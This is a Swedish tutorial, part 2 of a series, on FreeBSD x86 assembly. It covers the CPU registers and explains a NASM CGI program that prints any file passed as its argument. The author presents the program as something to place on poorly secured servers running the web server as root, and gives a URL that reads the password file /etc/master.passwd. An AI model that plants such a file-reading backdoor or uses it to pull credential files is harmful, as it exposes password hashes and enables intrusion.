I del 1 såg vi hur man kan göra ett systemanrop i FreeBSD genom assembler. I del 2 ser vi närmare på processorn och registren i den samt på ett lite mer invecklat program.
Register
I assembler lagrar man så långt som det är möjligt data i processorns register eftersom registren är snabba jämfört med RAM-minnet. En optimeringsmetod som somliga kompilatorer använder sig av är att lagra variabler som används ofta i register i stället för i minnet.
I 8086 processorn fanns det 4 st 16 bits register för att lagra data i. Dom hette AX, BX, CX och DX. Alla dessa register kunde i sin tur spjälkas upp i två andra register. AX kan t ex spjälkas upp i AH och AL, BX i BH och BL. AH innehöll då de 8 första bitarna av AX medan AL de följande 8 bitana.
Registren i 8086 såg ut på det här sättet:
Register Bitar Använding =============================================== AX (AH och AL) 16 Lagra data BX (BH och BL) 16 Lagra data CX (CH och CL) 16 Lagra data DX (DH och DL) 16 Lagra data SI, DI 16 Används som pekare och för data BP, SP 16 Pekare till stacken CS 16 Code Segment DS 16 Data Segment SS 16 Stack Segment ES 16 Extra Segment IP 16 Instruction Pointer
Dessutom finns det ett FLAGS register som lagrar information om resultatet av den föregående instruktionen.
CS, DS, SS, ES innehåller information om hur programmet är lagrat i minnet. Adressen på följande instruktion räknar datorn ut genom att använda CS och IP.
80386 processorn och senare processorer har utökade register. AX registret har t ex utökats till 32 bitar. För att program ska vara bakåtkompatibla så är AX fortfande 16 bitar och EAX är det nya 32 bits registret. AX är då de 16 lägsta bitarna i EAX och AL de 8 lägsta bitarna i EAX. De andra registren fungerar på samma sätt om man bortser från segmentregisren som fortfarande är 16 bitar. Vi har t ex ESP (som vi såg i del 1) i 80386. Det har dessutom kommit två segmentregister till: FS och GS.
Ett lite mer avancerat progam
För att visa att assembler kan faktiskt användas för att göra cgi-bin program till web servrar så har jag gjort ett program som tar emot ett filnamn som argument och skriver ut filen. Detta är ett trevligt litet program att lägga in på dåligt skyddade servrar där web servern körs som root. Om vårt program heter fv kan vi genom att skriva http://server.ss/cgi-bin/fv?/etc/master.passwd få fram lösenordsfilen på skärmen.
Eftersom jag kommenterar programmet längre ner så har jag inte så mycket kommentarer i själva programkoden.
;För att programmet ska köras snabbare så använder
;vi en 8Kb buffer.
%define BUFSIZE 8192
section .data
;Alla cgi-bin program måste börja med en rad som
;berättar vilken typ innehållet är av följt av
;två radbyten.
header db "Content-type: text/plain", 0xA, 0xA
hlen equ $ - header
section .bss
;Vi skapar en buffert med namnet buffer som har
;storleken definierad i BUFSIZE
buffer resb BUFSIZE
section .text
global _start
;Vår systemanrops procedur
_syscall:
int 0x80
ret
_start:
;Först skriver vi ut det obligatoriska huvudet
;som alla cgi-bin program förväntas skriva ut
push dword hlen
push dword header
push dword 1
mov eax, 4
call _syscall
add esp, 12
;Första värdet på stacken anger hur många
;argument som getts åt programmet. Vi vill
;ha exakt ett argument. I annat fall avbryter
;vi programmet
pop ebx
cmp ebx,2
jne _exit
;Tar bort det första argumentet som är själva
;programnamnet från stacken
pop ebx
;Det andra argumentet (det första riktiga) läser
;vi in till ebx. I vårt fall är det filnamnet
pop ebx
;Vi gör ett systemanrop som öppnar filen för
;läsning.
push dword 0
push dword ebx
mov eax, 5
call _syscall
jc _exit
add esp, 8
;Här sätts parametrarna för read in på stacken
push dword BUFSIZE
push dword buffer
push dword eax
_loop:
mov eax, 3
call _syscall
;Systemanropet för read har utförts. I aex
;Registret har vi antalet byte read läste in
;Om inget lästes in avslutar vi programmet
cmp eax,0
jle _exit
;Vi skriver ut det som lästes in i bufferten
push dword eax
push dword buffer
push dword 1
mov eax, 4
call _syscall
add esp,12
;Efter det hoppar vi tillbaka och läser in
;nästa 8Kb
jmp _loop
_exit:
;Här avslutas programmet
push dword 0
mov eax, 1
call _syscallI det här programmet finns en hel del nytt som vi inte såg i vårt enkla "Hello World"-program. Jag ska nu gå igenom steg för steg vad som sker i programmet.
%define BUFSIZE 8192
På den här raden definieras ett macro. Det betyder att på alla ställen som det står BUFSIZE så ersätter assemblern BUFSIZE med 8192. För att göra koden lättare att läsa kan man definiera en massa macron så att t ex då man vill skriva ut något så skriver man endast sys.write som sen ersätts med den riktiga koden. Jag har ännu vid det här skedet valt att inte använda macron för att förenkla koden.
header db "Content-type: text/plain", 0xA, 0xA hlen equ $ - header
Inget nytt i de här raderna. Se del 1 för mer information.
section .bss
Sektionen .bss används för att lagra variabler. Eftersom vi inte behövde sådana i vårt förra program så hade vi ingen .bss sektion där.
buffer resb BUFSIZE
Vi skapar en variabel med namnet buffer. Direktivet resb anger att vi vill använda enheten byte för det område som vi reserverar. Raden säger alltså att vi reservar BUFSIZE antal byte under namnet buffer.
push dword hlen push dword header push dword 1 mov eax, 4 call _syscall add esp, 12
Den första koden efter _start ser bekant ut från föregående programmet.
pop ebx cmp ebx,2 jne _exit
Varje program har en stack. Antalet argument, programnamnet och argumenten på stacken. Programnamnet anses också vara ett argument. T ex './fv /etc/master.passwd' gör att stacken ser ut på följande sätt:
2 fv /etc/master.passwd
Först poppar vi antalet argument från stacken till ebx registret. Eftersom vårt program ska ha exakt ett riktigt argument så måste vi kontrollera att detta värde är 2 (programnamnet+argumentet). Detta gör vi med cmp kommandot. Resultatet från cmp-kommandot använder vi genom att använda jne. Kommandot jne hoppar om det som jämfördes inte är lika. Alltså ett hopp till _exit utförs ifall värdet i ebx inte är 2.
pop ebx
Vi poppar bort programnamnet från stacken till ebx.
pop ebx
Här först poppas vårt argument (filnamnet) från stacken. Det sätter vi ebx varvid programnamnet skrivs över i ebx med filnamnet.
push dword 0 push dword ebx mov eax, 5 call _syscall
För att kunna läsa in en fil behöver vi öppna den. Det gör vi med kernelfunktion nummer 5. Mer information om funktionen kan vi få genom att skriva 'man 2 open' i ett shell. Vi ser då att open tar emot två argument. Vi sätter först på stacken är att vi vill öppna filen som Read Only. Koden för detta är 0. Därefter sätter vi filnamnet på stacken. Efter det utför vi systemanropet. Om allt lyckades så finns vår File Descriptor i EAX.
jc _exit add esp, 8
Vi kan testa om det gick att öppna filen genom att använda jc (Jump if Carry). Det ska inte finnas någon Carry ifall det lyckades att öppna filen. Efter det kan vi städa bort det vi har satt på stacken.
push dword BUFSIZE push dword buffer push dword eax _loop: mov eax, 3 call _syscall
Funktionen för att läsa in från en fil är också ny. Den har numret 3. Vi sätter storleken på bufferten, själva bufferten och File Descriptorn som finns i EAX på stacken och gör därefter systemanropet.
cmp eax,0 jle _exit
Ifall att det finns något inläst så innehåller eax nu antalet inlästa byte. Vi jämför eax med 0. Kommandot jle hoppar ifall det vänsta argumentet är mindre eller lika med det högra. Ifall inget lästes in kan vi avsluta programmet.
push dword eax push dword buffer push dword 1 mov eax, 4 call _syscall add esp,12
Här är inget nytt. Vi skriver ut det vi just läste in. EAX innehåller ju antalet inlästa byte.
jmp _loop
Kommandot jmp gör ett ovilkorligt hopp. Här hoppar vi tillbaka till _loop. Jag lämnade med flit kvar argumenten till read på stacken för att inte behöva sätta dom tillbaka.
push dword 0 mov eax, 1 call _syscall
Inget nytt här heller. Programmet avslutas.